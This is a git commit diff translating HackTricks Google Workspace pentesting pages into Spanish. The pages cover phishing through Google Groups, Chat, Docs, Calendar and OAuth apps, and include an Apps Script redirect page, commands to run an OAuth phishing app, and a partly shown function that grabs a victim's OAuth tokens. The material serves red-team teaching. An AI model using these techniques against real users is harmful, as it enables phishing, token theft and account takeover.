mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-15 14:23:16 -08:00
Translated ['.github/pull_request_template.md', 'src/pentesting-cloud/az
This commit is contained in:
@@ -1,12 +1,12 @@
|
||||
# GWS - Workspace Pentesting
|
||||
# GWS - Pentesting de Workspace
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Entry Points
|
||||
## Puntos de Entrada
|
||||
|
||||
### Google Platforms and OAuth Apps Phishing
|
||||
### Phishing en Plataformas de Google y Aplicaciones OAuth
|
||||
|
||||
Check how you could use different Google platforms such as Drive, Chat, Groups... to send the victim a phishing link and how to perform a Google OAuth Phishing in:
|
||||
Verifica cómo podrías usar diferentes plataformas de Google como Drive, Chat, Grupos... para enviar al víctima un enlace de phishing y cómo realizar un phishing de Google OAuth en:
|
||||
|
||||
{{#ref}}
|
||||
gws-google-platforms-phishing/
|
||||
@@ -14,64 +14,60 @@ gws-google-platforms-phishing/
|
||||
|
||||
### Password Spraying
|
||||
|
||||
In order to test passwords with all the emails you found (or you have generated based in a email name pattern you might have discover) you could use a tool like [**https://github.com/ustayready/CredKing**](https://github.com/ustayready/CredKing) (although it looks unmaintained) which will use AWS lambdas to change IP address.
|
||||
Para probar contraseñas con todos los correos electrónicos que encontraste (o que has generado basándote en un patrón de nombre de correo electrónico que podrías haber descubierto), podrías usar una herramienta como [**https://github.com/ustayready/CredKing**](https://github.com/ustayready/CredKing) (aunque parece no estar mantenida) que utilizará lambdas de AWS para cambiar la dirección IP.
|
||||
|
||||
## Post-Exploitation
|
||||
## Post-Explotación
|
||||
|
||||
If you have compromised some credentials or the session of the user you can perform several actions to access potential sensitive information of the user and to try to escala privileges:
|
||||
Si has comprometido algunas credenciales o la sesión del usuario, puedes realizar varias acciones para acceder a información potencialmente sensible del usuario y tratar de escalar privilegios:
|
||||
|
||||
{{#ref}}
|
||||
gws-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
### GWS <-->GCP Pivoting
|
||||
### GWS <--> GCP Pivoting
|
||||
|
||||
Read more about the different techniques to pivot between GWS and GCP in:
|
||||
Lee más sobre las diferentes técnicas para pivotar entre GWS y GCP en:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-security/gcp-to-workspace-pivoting/
|
||||
{{#endref}}
|
||||
|
||||
## GWS <--> GCPW | GCDS | Directory Sync (AD & EntraID)
|
||||
## GWS <--> GCPW | GCDS | Sincronización de Directorios (AD & EntraID)
|
||||
|
||||
- **GCPW (Google Credential Provider for Windows)**: This is the single sign-on that Google Workspaces provides so users can login in their Windows PCs using **their Workspace credentials**. Moreover, this will **store tokens to access Google Workspace** in some places in the PC.
|
||||
- **GCDS (Google CLoud DIrectory Sync)**: This is a tool that can be used to **sync your active directory users and groups to your Workspace**. The tool requires the **credentials of a Workspace superuser and privileged AD user**. So, it might be possible to find it inside a domain server that would be synchronising users from time to time.
|
||||
- **Admin Directory Sync**: It allows you to synchronize users from AD and EntraID in a serverless process from [https://admin.google.com/ac/sync/externaldirectories](https://admin.google.com/ac/sync/externaldirectories).
|
||||
- **GCPW (Proveedor de Credenciales de Google para Windows)**: Este es el inicio de sesión único que Google Workspaces proporciona para que los usuarios puedan iniciar sesión en sus PC con Windows usando **sus credenciales de Workspace**. Además, esto **almacenará tokens para acceder a Google Workspace** en algunos lugares de la PC.
|
||||
- **GCDS (Sincronización de Directorio de Google Cloud)**: Esta es una herramienta que se puede usar para **sincronizar tus usuarios y grupos de directorio activo a tu Workspace**. La herramienta requiere las **credenciales de un superusuario de Workspace y un usuario privilegiado de AD**. Por lo tanto, podría ser posible encontrarla dentro de un servidor de dominio que estaría sincronizando usuarios de vez en cuando.
|
||||
- **Sincronización de Directorio de Administrador**: Permite sincronizar usuarios de AD y EntraID en un proceso sin servidor desde [https://admin.google.com/ac/sync/externaldirectories](https://admin.google.com/ac/sync/externaldirectories).
|
||||
|
||||
{{#ref}}
|
||||
gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/
|
||||
{{#endref}}
|
||||
|
||||
## Persistence
|
||||
## Persistencia
|
||||
|
||||
If you have compromised some credentials or the session of the user check these options to maintain persistence over it:
|
||||
Si has comprometido algunas credenciales o la sesión del usuario, verifica estas opciones para mantener la persistencia sobre ello:
|
||||
|
||||
{{#ref}}
|
||||
gws-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
## Account Compromised Recovery
|
||||
## Recuperación de Cuenta Comprometida
|
||||
|
||||
- Log out of all sessions
|
||||
- Change user password
|
||||
- Generate new 2FA backup codes
|
||||
- Remove App passwords
|
||||
- Remove OAuth apps
|
||||
- Remove 2FA devices
|
||||
- Remove email forwarders
|
||||
- Remove emails filters
|
||||
- Remove recovery email/phones
|
||||
- Removed malicious synced smartphones
|
||||
- Remove bad Android Apps
|
||||
- Remove bad account delegations
|
||||
- Cerrar sesión en todas las sesiones
|
||||
- Cambiar la contraseña del usuario
|
||||
- Generar nuevos códigos de respaldo de 2FA
|
||||
- Eliminar contraseñas de aplicaciones
|
||||
- Eliminar aplicaciones OAuth
|
||||
- Eliminar dispositivos de 2FA
|
||||
- Eliminar reenvíos de correo electrónico
|
||||
- Eliminar filtros de correos electrónicos
|
||||
- Eliminar correos electrónicos/teléfonos de recuperación
|
||||
- Eliminar smartphones sincronizados maliciosos
|
||||
- Eliminar malas aplicaciones de Android
|
||||
- Eliminar malas delegaciones de cuenta
|
||||
|
||||
## References
|
||||
## Referencias
|
||||
|
||||
- [https://www.youtube-nocookie.com/embed/6AsVUS79gLw](https://www.youtube-nocookie.com/embed/6AsVUS79gLw) - Matthew Bryant - Hacking G Suite: The Power of Dark Apps Script Magic
|
||||
- [https://www.youtube.com/watch?v=KTVHLolz6cE](https://www.youtube.com/watch?v=KTVHLolz6cE) - Mike Felch and Beau Bullock - OK Google, How do I Red Team GSuite?
|
||||
- [https://www.youtube.com/watch?v=KTVHLolz6cE](https://www.youtube.com/watch?v=KTVHLolz6cE) - Mike Felch y Beau Bullock - OK Google, ¿Cómo hago un Red Team en GSuite?
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,168 +2,160 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Generic Phishing Methodology
|
||||
## Metodología Genérica de Phishing
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/generic-methodologies-and-resources/phishing-methodology
|
||||
{{#endref}}
|
||||
|
||||
## Google Groups Phishing
|
||||
## Phishing en Google Groups
|
||||
|
||||
Apparently, by default, in workspace members [**can create groups**](https://groups.google.com/all-groups) **and invite people to them**. You can then modify the email that will be sent to the user **adding some links.** The **email will come from a google address**, so it will look **legit** and people might click on the link.
|
||||
Aparentemente, por defecto, en workspace los miembros [**pueden crear grupos**](https://groups.google.com/all-groups) **y invitar personas a ellos**. Luego puedes modificar el correo que se enviará al usuario **agregando algunos enlaces.** El **correo vendrá de una dirección de google**, por lo que parecerá **legítimo** y la gente podría hacer clic en el enlace.
|
||||
|
||||
It's also possible to set the **FROM** address as the **Google group email** to send **more emails to the users inside the group**, like in the following image where the group **`google--support@googlegroups.com`** was created and an **email was sent to all the members** of the group (that were added without any consent)
|
||||
También es posible establecer la dirección **FROM** como el **correo del grupo de Google** para enviar **más correos a los usuarios dentro del grupo**, como en la siguiente imagen donde se creó el grupo **`google--support@googlegroups.com`** y se **envió un correo a todos los miembros** del grupo (que fueron añadidos sin ningún consentimiento)
|
||||
|
||||
<figure><img src="../../../images/image (5) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## Google Chat Phishing
|
||||
## Phishing en Google Chat
|
||||
|
||||
You might be able to either **start a chat** with a person just having their email address or send an **invitation to talk**. Moreover, it's possible to **create a Space** that can have any name (e.g. "Google Support") and **invite** members to it. If they accept they might think that they are talking to Google Support:
|
||||
Puedes **iniciar un chat** con una persona solo teniendo su dirección de correo electrónico o enviar una **invitación para hablar**. Además, es posible **crear un Espacio** que puede tener cualquier nombre (por ejemplo, "Soporte de Google") y **invitar** a miembros a él. Si aceptan, podrían pensar que están hablando con Soporte de Google:
|
||||
|
||||
<figure><img src="../../../images/image (6).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!TIP]
|
||||
> **In my testing however the invited members didn't even receive an invitation.**
|
||||
> **Sin embargo, en mis pruebas, los miembros invitados ni siquiera recibieron una invitación.**
|
||||
|
||||
You can check how this worked in the past in: [https://www.youtube.com/watch?v=KTVHLolz6cE\&t=904s](https://www.youtube.com/watch?v=KTVHLolz6cE&t=904s)
|
||||
Puedes verificar cómo funcionó esto en el pasado en: [https://www.youtube.com/watch?v=KTVHLolz6cE\&t=904s](https://www.youtube.com/watch?v=KTVHLolz6cE&t=904s)
|
||||
|
||||
## Google Doc Phishing
|
||||
## Phishing en Google Docs
|
||||
|
||||
In the past it was possible to create an **apparently legitimate document** and the in a comment **mention some email (like @user@gmail.com)**. Google **sent an email to that email address** notifying that they were mentioned in the document.\
|
||||
Nowadays, this doesn't work but if you **give the victim email access to the document** Google will send an email indicating so. This is the message that appears when you mention someone:
|
||||
En el pasado era posible crear un **documento aparentemente legítimo** y en un comentario **mencionar algún correo (como @user@gmail.com)**. Google **enviaba un correo a esa dirección de correo** notificando que fueron mencionados en el documento.\
|
||||
Hoy en día, esto no funciona, pero si **le das al correo de la víctima acceso al documento**, Google enviará un correo indicando eso. Este es el mensaje que aparece cuando mencionas a alguien:
|
||||
|
||||
<figure><img src="../../../images/image (7).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!TIP]
|
||||
> Victims might have protection mechanism that doesn't allow that emails indicating that an external document was shared with them reach their email.
|
||||
> Las víctimas pueden tener mecanismos de protección que no permiten que los correos indicando que un documento externo fue compartido con ellos lleguen a su correo.
|
||||
|
||||
## Google Calendar Phishing
|
||||
## Phishing en Google Calendar
|
||||
|
||||
You can **create a calendar event** and add as many email address of the company you are attacking as you have. Schedule this calendar event in **5 or 15 min** from the current time. Make the event look legit and **put a comment and a title indicating that they need to read something** (with the **phishing link**).
|
||||
Puedes **crear un evento de calendario** y agregar tantas direcciones de correo de la empresa que estás atacando como tengas. Programa este evento de calendario en **5 o 15 min** desde el tiempo actual. Haz que el evento parezca legítimo y **pon un comentario y un título indicando que necesitan leer algo** (con el **enlace de phishing**).
|
||||
|
||||
This is the alert that will appear in the browser with a meeting title "Firing People", so you could set a more phishing like title (and even change the name associated with your email).
|
||||
Esta es la alerta que aparecerá en el navegador con un título de reunión "Despedir Personas", por lo que podrías establecer un título más parecido al phishing (e incluso cambiar el nombre asociado con tu correo).
|
||||
|
||||
<figure><img src="../../../images/image (8).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
To make it look less suspicious:
|
||||
Para que parezca menos sospechoso:
|
||||
|
||||
- Set it up so that **receivers cannot see the other people invited**
|
||||
- Do **NOT send emails notifying about the event**. Then, the people will only see their warning about a meeting in 5mins and that they need to read that link.
|
||||
- Apparently using the API you can set to **True** that **people** have **accepted** the event and even create **comments on their behalf**.
|
||||
- Configúralo para que **los receptores no puedan ver a las otras personas invitadas**
|
||||
- **NO envíes correos notificando sobre el evento**. Entonces, las personas solo verán su advertencia sobre una reunión en 5 minutos y que necesitan leer ese enlace.
|
||||
- Aparentemente, usando la API puedes establecer como **True** que **las personas** han **aceptado** el evento e incluso crear **comentarios en su nombre**.
|
||||
|
||||
## App Scripts Redirect Phishing
|
||||
|
||||
It's possible to create a script in [https://script.google.com/](https://script.google.com/) and **expose it as a web application accessible by everyone** that will use the legit domain **`script.google.com`**.\
|
||||
The with some code like the following an attacker could make the script load arbitrary content in this page without stop accessing the domain:
|
||||
## Phishing de Redirección de Scripts de Aplicaciones
|
||||
|
||||
Es posible crear un script en [https://script.google.com/](https://script.google.com/) y **exponerlo como una aplicación web accesible por todos** que utilizará el dominio legítimo **`script.google.com`**.\
|
||||
Con algún código como el siguiente, un atacante podría hacer que el script cargue contenido arbitrario en esta página sin dejar de acceder al dominio:
|
||||
```javascript
|
||||
function doGet() {
|
||||
return HtmlService.createHtmlOutput(
|
||||
'<meta http-equiv="refresh" content="0;url=https://cloud.hacktricks.xyz/pentesting-cloud/workspace-security/gws-google-platforms-phishing#app-scripts-redirect-phishing">'
|
||||
).setXFrameOptionsMode(HtmlService.XFrameOptionsMode.ALLOWALL)
|
||||
return HtmlService.createHtmlOutput(
|
||||
'<meta http-equiv="refresh" content="0;url=https://cloud.hacktricks.xyz/pentesting-cloud/workspace-security/gws-google-platforms-phishing#app-scripts-redirect-phishing">'
|
||||
).setXFrameOptionsMode(HtmlService.XFrameOptionsMode.ALLOWALL)
|
||||
}
|
||||
```
|
||||
|
||||
For example accessing [https://script.google.com/macros/s/AKfycbwuLlzo0PUaT63G33MtE6TbGUNmTKXCK12o59RKC7WLkgBTyltaS3gYuH_ZscKQTJDC/exec](https://script.google.com/macros/s/AKfycbwuLlzo0PUaT63G33MtE6TbGUNmTKXCK12o59RKC7WLkgBTyltaS3gYuH_ZscKQTJDC/exec) you will see:
|
||||
Por ejemplo, al acceder a [https://script.google.com/macros/s/AKfycbwuLlzo0PUaT63G33MtE6TbGUNmTKXCK12o59RKC7WLkgBTyltaS3gYuH_ZscKQTJDC/exec](https://script.google.com/macros/s/AKfycbwuLlzo0PUaT63G33MtE6TbGUNmTKXCK12o59RKC7WLkgBTyltaS3gYuH_ZscKQTJDC/exec) verás:
|
||||
|
||||
<figure><img src="../../../images/image (4) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!TIP]
|
||||
> Note that a warning will appear as the content is loaded inside an iframe.
|
||||
> Ten en cuenta que aparecerá una advertencia a medida que se cargue el contenido dentro de un iframe.
|
||||
|
||||
## App Scripts OAuth Phishing
|
||||
## Phishing de App Scripts OAuth
|
||||
|
||||
It's possible to create App Scripts attached to documents to try to get access over a victims OAuth token, for more information check:
|
||||
Es posible crear App Scripts adjuntos a documentos para intentar obtener acceso al token OAuth de una víctima, para más información consulta:
|
||||
|
||||
{{#ref}}
|
||||
gws-app-scripts.md
|
||||
{{#endref}}
|
||||
|
||||
## OAuth Apps Phishing
|
||||
## Phishing de Apps OAuth
|
||||
|
||||
Any of the previous techniques might be used to make the user access a **Google OAuth application** that will **request** the user some **access**. If the user **trusts** the **source** he might **trust** the **application** (even if it's asking for high privileged permissions).
|
||||
Cualquiera de las técnicas anteriores podría usarse para hacer que el usuario acceda a una **aplicación OAuth de Google** que **solicitará** al usuario algún **acceso**. Si el usuario **confía** en la **fuente**, podría **confiar** en la **aplicación** (incluso si está pidiendo permisos de alto privilegio).
|
||||
|
||||
> [!NOTE]
|
||||
> Note that Google presents an ugly prompt asking warning that the application is untrusted in several cases and Workspace admins can even prevent people accepting OAuth applications.
|
||||
> Ten en cuenta que Google presenta un aviso poco atractivo advirtiendo que la aplicación no es de confianza en varios casos y los administradores de Workspace incluso pueden prevenir que las personas acepten aplicaciones OAuth.
|
||||
|
||||
**Google** allows to create applications that can **interact on behalf users** with several **Google services**: Gmail, Drive, GCP...
|
||||
**Google** permite crear aplicaciones que pueden **interactuar en nombre de los usuarios** con varios **servicios de Google**: Gmail, Drive, GCP...
|
||||
|
||||
When creating an application to **act on behalf other users**, the developer needs to create an **OAuth app inside GCP** and indicate the scopes (permissions) the app needs to access the users data.\
|
||||
When a **user** wants to **use** that **application**, they will be **prompted** to **accept** that the application will have access to their data specified in the scopes.
|
||||
Al crear una aplicación para **actuar en nombre de otros usuarios**, el desarrollador necesita crear una **aplicación OAuth dentro de GCP** e indicar los scopes (permisos) que la aplicación necesita para acceder a los datos de los usuarios.\
|
||||
Cuando un **usuario** quiere **usar** esa **aplicación**, se le **pedirá** que **acepte** que la aplicación tendrá acceso a sus datos especificados en los scopes.
|
||||
|
||||
This is a very juicy way to **phish** non-technical users into using **applications that access sensitive information** because they might not understand the consequences. However, in organizations accounts, there are ways to prevent this from happening.
|
||||
Esta es una forma muy jugosa de **phishing** a usuarios no técnicos para que usen **aplicaciones que acceden a información sensible** porque pueden no entender las consecuencias. Sin embargo, en cuentas de organizaciones, hay formas de prevenir que esto suceda.
|
||||
|
||||
### Unverified App prompt
|
||||
### Aviso de Aplicación No Verificada
|
||||
|
||||
As it was mentioned, google will always present a **prompt to the user to accept** the permissions they are giving the application on their behalf. However, if the application is considered **dangerous**, google will show **first** a **prompt** indicating that it's **dangerous** and **making it more difficult** for the user to grant the permissions to the app.
|
||||
Como se mencionó, Google siempre presentará un **aviso al usuario para aceptar** los permisos que están otorgando a la aplicación en su nombre. Sin embargo, si la aplicación se considera **peligrosa**, Google mostrará **primero** un **aviso** indicando que es **peligrosa** y **dificultando más** que el usuario otorgue los permisos a la aplicación.
|
||||
|
||||
This prompt appears in apps that:
|
||||
Este aviso aparece en aplicaciones que:
|
||||
|
||||
- Use any scope that can access private data (Gmail, Drive, GCP, BigQuery...)
|
||||
- Apps with less than 100 users (apps > 100 a review process is also needed to stop showing the unverified prompt)
|
||||
- Usan cualquier scope que puede acceder a datos privados (Gmail, Drive, GCP, BigQuery...)
|
||||
- Aplicaciones con menos de 100 usuarios (aplicaciones > 100 también necesitan un proceso de revisión para dejar de mostrar el aviso de no verificada)
|
||||
|
||||
### Interesting Scopes
|
||||
### Scopes Interesantes
|
||||
|
||||
[**Here**](https://developers.google.com/identity/protocols/oauth2/scopes) you can find a list of all the Google OAuth scopes.
|
||||
[**Aquí**](https://developers.google.com/identity/protocols/oauth2/scopes) puedes encontrar una lista de todos los scopes de OAuth de Google.
|
||||
|
||||
- **cloud-platform**: View and manage your data across **Google Cloud Platform** services. You can impersonate the user in GCP.
|
||||
- **admin.directory.user.readonly**: See and download your organization's GSuite directory. Get names, phones, calendar URLs of all the users.
|
||||
- **cloud-platform**: Ver y gestionar tus datos en los servicios de **Google Cloud Platform**. Puedes suplantar al usuario en GCP.
|
||||
- **admin.directory.user.readonly**: Ver y descargar el directorio de GSuite de tu organización. Obtener nombres, teléfonos, URLs de calendario de todos los usuarios.
|
||||
|
||||
### Create an OAuth App
|
||||
### Crear una Aplicación OAuth
|
||||
|
||||
**Start creating an OAuth Client ID**
|
||||
**Comienza creando un ID de Cliente OAuth**
|
||||
|
||||
1. Go to [https://console.cloud.google.com/apis/credentials/oauthclient](https://console.cloud.google.com/apis/credentials/oauthclient) and click on configure the consent screen.
|
||||
2. Then, you will be asked if the **user type** is **internal** (only for people in your org) or **external**. Select the one that suits your needs
|
||||
- Internal might be interesting you have already compromised a user of the organization and you are creating this App to phish another one.
|
||||
3. Give a **name** to the app, a **support email** (note that you can set a googlegroup email to try to anonymize yourself a bit more), a **logo**, **authorized domains** and another **email** for **updates**.
|
||||
4. **Select** the **OAuth scopes**.
|
||||
- This page is divided in non sensitive permissions, sensitive permissions and restricted permissions. Eveytime you add a new permisison it's added on its category. Depending on the requested permissions different prompt will appear to the user indicating how sensitive these permissions are.
|
||||
- Both **`admin.directory.user.readonly`** and **`cloud-platform`** are sensitive permissions.
|
||||
5. **Add the test users.** As long as the status of the app is testing, only these users are going to be able to access the app so make sure to **add the email you are going to be phishing**.
|
||||
1. Ve a [https://console.cloud.google.com/apis/credentials/oauthclient](https://console.cloud.google.com/apis/credentials/oauthclient) y haz clic en configurar la pantalla de consentimiento.
|
||||
2. Luego, se te preguntará si el **tipo de usuario** es **interno** (solo para personas en tu organización) o **externo**. Selecciona el que se ajuste a tus necesidades.
|
||||
- Interno puede ser interesante si ya has comprometido a un usuario de la organización y estás creando esta aplicación para phishing a otro.
|
||||
3. Da un **nombre** a la aplicación, un **correo electrónico de soporte** (ten en cuenta que puedes establecer un correo electrónico de grupo de Google para intentar anonimizarte un poco más), un **logo**, **dominios autorizados** y otro **correo electrónico** para **actualizaciones**.
|
||||
4. **Selecciona** los **scopes de OAuth**.
|
||||
- Esta página está dividida en permisos no sensibles, permisos sensibles y permisos restringidos. Cada vez que agregas un nuevo permiso, se añade a su categoría. Dependiendo de los permisos solicitados, aparecerán diferentes avisos al usuario indicando cuán sensibles son estos permisos.
|
||||
- Tanto **`admin.directory.user.readonly`** como **`cloud-platform`** son permisos sensibles.
|
||||
5. **Agrega los usuarios de prueba.** Mientras el estado de la aplicación sea de prueba, solo estos usuarios podrán acceder a la aplicación, así que asegúrate de **agregar el correo electrónico que vas a phishing**.
|
||||
|
||||
Now let's get **credentials for a web application** using the **previously created OAuth Client ID**:
|
||||
Ahora obtengamos **credenciales para una aplicación web** usando el **ID de Cliente OAuth creado previamente**:
|
||||
|
||||
1. Go back to [https://console.cloud.google.com/apis/credentials/oauthclient](https://console.cloud.google.com/apis/credentials/oauthclient), a different option will appear this time.
|
||||
2. Select to **create credentials for a Web application**
|
||||
3. Set needed **Javascript origins** and **redirect URIs**
|
||||
- You can set in both something like **`http://localhost:8000/callback`** for testing
|
||||
4. Get your application **credentials**
|
||||
|
||||
Finally, lets **run a web application that will use the OAuth application credentials**. You can find an example in [https://github.com/carlospolop/gcp_oauth_phishing_example](https://github.com/carlospolop/gcp_oauth_phishing_example).
|
||||
1. Regresa a [https://console.cloud.google.com/apis/credentials/oauthclient](https://console.cloud.google.com/apis/credentials/oauthclient), esta vez aparecerá una opción diferente.
|
||||
2. Selecciona **crear credenciales para una aplicación web**.
|
||||
3. Establece los **orígenes de Javascript** y **URIs de redirección** necesarios.
|
||||
- Puedes establecer en ambos algo como **`http://localhost:8000/callback`** para pruebas.
|
||||
4. Obtén las **credenciales** de tu aplicación.
|
||||
|
||||
Finalmente, ejecutemos **una aplicación web que usará las credenciales de la aplicación OAuth**. Puedes encontrar un ejemplo en [https://github.com/carlospolop/gcp_oauth_phishing_example](https://github.com/carlospolop/gcp_oauth_phishing_example).
|
||||
```bash
|
||||
git clone ttps://github.com/carlospolop/gcp_oauth_phishing_example
|
||||
cd gcp_oauth_phishing_example
|
||||
pip install flask requests google-auth-oauthlib
|
||||
python3 app.py --client-id "<client_id>" --client-secret "<client_secret>"
|
||||
```
|
||||
|
||||
Go to **`http://localhost:8000`** click on the Login with Google button, you will be **prompted** with a message like this one:
|
||||
Ve a **`http://localhost:8000`**, haz clic en el botón Iniciar sesión con Google, se te **pedirá** un mensaje como este:
|
||||
|
||||
<figure><img src="../../../images/image (333).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
The application will show the **access and refresh token** than can be easily used. For more information about **how to use these tokens check**:
|
||||
La aplicación mostrará el **token de acceso y el token de actualización** que se pueden usar fácilmente. Para más información sobre **cómo usar estos tokens, consulta**:
|
||||
|
||||
{{#ref}}
|
||||
../../gcp-security/gcp-persistence/gcp-non-svc-persistance.md
|
||||
{{#endref}}
|
||||
|
||||
#### Using `glcoud`
|
||||
#### Usando `glcoud`
|
||||
|
||||
It's possible to do something using gcloud instead of the web console, check:
|
||||
Es posible hacer algo usando gcloud en lugar de la consola web, consulta:
|
||||
|
||||
{{#ref}}
|
||||
../../gcp-security/gcp-privilege-escalation/gcp-clientauthconfig-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
## References
|
||||
## Referencias
|
||||
|
||||
- [https://www.youtube-nocookie.com/embed/6AsVUS79gLw](https://www.youtube-nocookie.com/embed/6AsVUS79gLw) - Matthew Bryant - Hacking G Suite: The Power of Dark Apps Script Magic
|
||||
- [https://www.youtube.com/watch?v=KTVHLolz6cE](https://www.youtube.com/watch?v=KTVHLolz6cE) - Mike Felch and Beau Bullock - OK Google, How do I Red Team GSuite?
|
||||
- [https://www.youtube.com/watch?v=KTVHLolz6cE](https://www.youtube.com/watch?v=KTVHLolz6cE) - Mike Felch y Beau Bullock - OK Google, ¿Cómo hago un Red Team en GSuite?
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,236 +4,224 @@
|
||||
|
||||
## App Scripts
|
||||
|
||||
App Scripts is **code that will be triggered when a user with editor permission access the doc the App Script is linked with** and after **accepting the OAuth prompt**.\
|
||||
They can also be set to be **executed every certain time** by the owner of the App Script (Persistence).
|
||||
App Scripts es **código que se activará cuando un usuario con permiso de editor acceda al documento con el que está vinculado el App Script** y después de **aceptar el aviso de OAuth**.\
|
||||
También se pueden configurar para ser **ejecutados cada cierto tiempo** por el propietario del App Script (Persistencia).
|
||||
|
||||
### Create App Script
|
||||
### Crear App Script
|
||||
|
||||
There are several ways to create an App Script, although the most common ones are f**rom a Google Document (of any type)** and as a **standalone project**:
|
||||
Hay varias formas de crear un App Script, aunque las más comunes son **desde un Documento de Google (de cualquier tipo)** y como un **proyecto independiente**:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Create a container-bound project from Google Docs, Sheets, or Slides</summary>
|
||||
<summary>Crear un proyecto vinculado al contenedor desde Google Docs, Sheets o Slides</summary>
|
||||
|
||||
1. Open a Docs document, a Sheets spreadsheet, or Slides presentation.
|
||||
2. Click **Extensions** > **Google Apps Script**.
|
||||
3. In the script editor, click **Untitled project**.
|
||||
4. Give your project a name and click **Rename**.
|
||||
1. Abre un documento de Docs, una hoja de cálculo de Sheets o una presentación de Slides.
|
||||
2. Haz clic en **Extensiones** > **Google Apps Script**.
|
||||
3. En el editor de scripts, haz clic en **Proyecto sin título**.
|
||||
4. Dale un nombre a tu proyecto y haz clic en **Renombrar**.
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Create a standalone project</summary>
|
||||
<summary>Crear un proyecto independiente</summary>
|
||||
|
||||
To create a standalone project from Apps Script:
|
||||
Para crear un proyecto independiente desde Apps Script:
|
||||
|
||||
1. Go to [`script.google.com`](https://script.google.com/).
|
||||
2. Click add **New Project**.
|
||||
3. In the script editor, click **Untitled project**.
|
||||
4. Give your project a name and click **Rename**.
|
||||
1. Ve a [`script.google.com`](https://script.google.com/).
|
||||
2. Haz clic en **Nuevo Proyecto**.
|
||||
3. En el editor de scripts, haz clic en **Proyecto sin título**.
|
||||
4. Dale un nombre a tu proyecto y haz clic en **Renombrar**.
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Create a standalone project from Google Drive</summary>
|
||||
<summary>Crear un proyecto independiente desde Google Drive</summary>
|
||||
|
||||
1. Open [Google Drive](https://drive.google.com/).
|
||||
2. Click **New** > **More** > **Google Apps Script**.
|
||||
1. Abre [Google Drive](https://drive.google.com/).
|
||||
2. Haz clic en **Nuevo** > **Más** > **Google Apps Script**.
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Create a container-bound project from Google Forms</summary>
|
||||
<summary>Crear un proyecto vinculado al contenedor desde Google Forms</summary>
|
||||
|
||||
1. Open a form in Google Forms.
|
||||
2. Click More more_vert > **Script editor**.
|
||||
3. In the script editor, click **Untitled project**.
|
||||
4. Give your project a name and click **Rename**.
|
||||
1. Abre un formulario en Google Forms.
|
||||
2. Haz clic en Más more_vert > **Editor de scripts**.
|
||||
3. En el editor de scripts, haz clic en **Proyecto sin título**.
|
||||
4. Dale un nombre a tu proyecto y haz clic en **Renombrar**.
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Create a standalone project using the clasp command line tool</summary>
|
||||
<summary>Crear un proyecto independiente utilizando la herramienta de línea de comandos clasp</summary>
|
||||
|
||||
`clasp` is a command line tool that allows you create, pull/push, and deploy Apps Script projects from a terminal.
|
||||
`clasp` es una herramienta de línea de comandos que te permite crear, extraer/empujar y desplegar proyectos de Apps Script desde una terminal.
|
||||
|
||||
See the [Command Line Interface using `clasp` guide](https://developers.google.com/apps-script/guides/clasp) for more details.
|
||||
Consulta la [guía de Interfaz de Línea de Comandos usando `clasp`](https://developers.google.com/apps-script/guides/clasp) para más detalles.
|
||||
|
||||
</details>
|
||||
|
||||
## App Script Scenario <a href="#create-using-clasp" id="create-using-clasp"></a>
|
||||
## Escenario de App Script <a href="#create-using-clasp" id="create-using-clasp"></a>
|
||||
|
||||
### Create Google Sheet with App Script
|
||||
### Crear Google Sheet con App Script
|
||||
|
||||
Start by crating an App Script, my recommendation for this scenario is to create a Google Sheet and go to **`Extensions > App Scripts`**, this will open a **new App Script for you linked to the sheet**.
|
||||
Comienza creando un App Script, mi recomendación para este escenario es crear una Google Sheet e ir a **`Extensiones > App Scripts`**, esto abrirá un **nuevo App Script para ti vinculado a la hoja**.
|
||||
|
||||
### Leak token
|
||||
### Filtrar token
|
||||
|
||||
In order to give access to the OAuth token you need to click on **`Services +` and add scopes like**:
|
||||
Para dar acceso al token de OAuth necesitas hacer clic en **`Servicios +` y agregar alcances como**:
|
||||
|
||||
- **AdminDirectory**: Access users and groups of the directory (if the user has enough permissions)
|
||||
- **Gmail**: To access gmail data
|
||||
- **Drive**: To access drive data
|
||||
- **Google Sheets API**: So it works with the trigger
|
||||
|
||||
To change yourself the **needed scopes** you can go to project settings and enable: **`Show "appsscript.json" manifest file in editor`.**
|
||||
- **AdminDirectory**: Acceso a usuarios y grupos del directorio (si el usuario tiene suficientes permisos)
|
||||
- **Gmail**: Para acceder a los datos de gmail
|
||||
- **Drive**: Para acceder a los datos de drive
|
||||
- **Google Sheets API**: Para que funcione con el disparador
|
||||
|
||||
Para cambiar tú mismo los **alcances necesarios** puedes ir a la configuración del proyecto y habilitar: **`Mostrar archivo de manifiesto "appsscript.json" en el editor`.**
|
||||
```javascript
|
||||
function getToken() {
|
||||
var userEmail = Session.getActiveUser().getEmail()
|
||||
var domain = userEmail.substring(userEmail.lastIndexOf("@") + 1)
|
||||
var oauthToken = ScriptApp.getOAuthToken()
|
||||
var identityToken = ScriptApp.getIdentityToken()
|
||||
var userEmail = Session.getActiveUser().getEmail()
|
||||
